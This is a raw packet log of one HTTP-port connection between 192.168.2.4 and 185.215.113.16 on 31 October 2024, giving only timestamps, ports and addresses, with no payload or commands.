Oct 31, 2024 03:03:28.386507034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386521101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386519909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.386532068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386567116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.386595964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.462969065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463004112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463059902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463083982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.463109016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463145971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463161945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.463181019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463213921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463222980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.463248014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.463291883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.464020967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.464070082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.464103937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.464112997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.464138031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.464173079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.464176893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.505364895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505403042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505455017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505477905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.505489111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505516052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.505525112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505559921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505569935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.505708933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505743980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505765915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.505775928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.505815983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.581743002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.581809998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.581845045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.581880093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.581901073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.581937075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.581970930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582001925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582048893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.582206011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582262039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582298040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582312107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.582333088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582386017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.582715034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582748890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582782984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.582799911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.583071947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.583106995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.583133936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.583142042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.583190918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.624327898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624392033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624427080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624454021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.624461889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624521971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.624623060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624658108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624692917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624716043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.624902964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624937057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.624962091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.624972105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.625005960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.625025034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.666892052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.700738907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700778008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700813055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700870991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700903893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700939894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700973034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.700990915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.700992107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.701018095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.701349974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.701381922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.701411963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.701827049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.701878071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.701880932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.701915026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.701947927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.701966047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.701984882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.702018023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.702043056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.743225098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743278027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743365049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743396044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.743398905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743436098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743439913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.743467093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743491888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.743503094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743536949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743552923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.743586063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.743633032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.743999958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.744034052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.744069099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.744081974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.744102955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.744155884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.819622040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819799900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819812059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819823027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819859028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.819900990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.819937944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819948912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819960117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819972992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.819989920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.820024967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.820337057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.820352077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.820363998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.820408106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.820828915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.820841074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.820851088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.820882082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.820903063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.862147093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862159014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862170935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862195015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862200975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.862237930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.862241983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862370968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862413883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862413883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.862426043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862464905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.862754107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862765074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862776041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862797022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.862826109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862840891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.862865925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.863348961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.863389969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.863401890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.916853905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.938739061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938760996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938777924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938790083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938801050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938807011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.938821077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938828945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.938836098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938848019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938858986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.938859940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938873053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.938884020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.938910961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.939738989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.939749956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.939759970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.939790010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.981215000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981237888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981250048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981260061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981272936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981273890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.981290102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.981332064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.981465101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981477022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981489897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981533051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.981564045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981575012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981586933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981597900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.981611013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.981642962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.982404947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.982455969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.058595896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058664083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058698893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058721066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.058748960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058784962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058806896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.058834076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058885098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.058887005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058919907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.058965921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.058969975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.059004068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.059037924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.059051991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.059073925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.059117079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.100039959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100075960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100111961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100131035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.100147963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100182056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100231886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100249052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100267887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.100282907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100308895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.100353003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.100769043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100826025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100876093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100889921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.100912094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100945950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.100965023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.101475000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.101505041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.101531029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.151231050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.177246094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177340031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177372932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177397966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.177424908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177458048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177474976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.177603960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177635908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177654028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.177670002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177758932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.177874088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177906990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177938938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.177952051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.178198099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.178248882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.178262949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.178296089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.178342104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.218977928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219010115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219046116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219067097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.219114065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219146967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219157934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.219273090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219305992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219330072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.219356060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219392061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219408989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.219754934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219805956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.219821930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219856024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219901085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.219903946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219938040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.219986916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.220355988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.220418930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.220453024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.220463991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.220489025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.220534086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.296140909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296178102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296211958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296264887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.296333075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296366930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296392918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.296401978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296462059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.296829939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296863079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296897888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296910048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.296931982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296966076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.296987057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.296998978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.297032118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.297053099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.297295094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.297324896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.297350883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.338763952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539408922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539436102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539450884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539463043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539474964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539486885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539486885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539499998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539520979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539540052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539561987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539575100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539586067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539598942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539608002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539609909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539617062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539633989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539639950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539653063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539661884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539664984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539678097 CET	80	49744	185.215.113.16	192.168.2.4
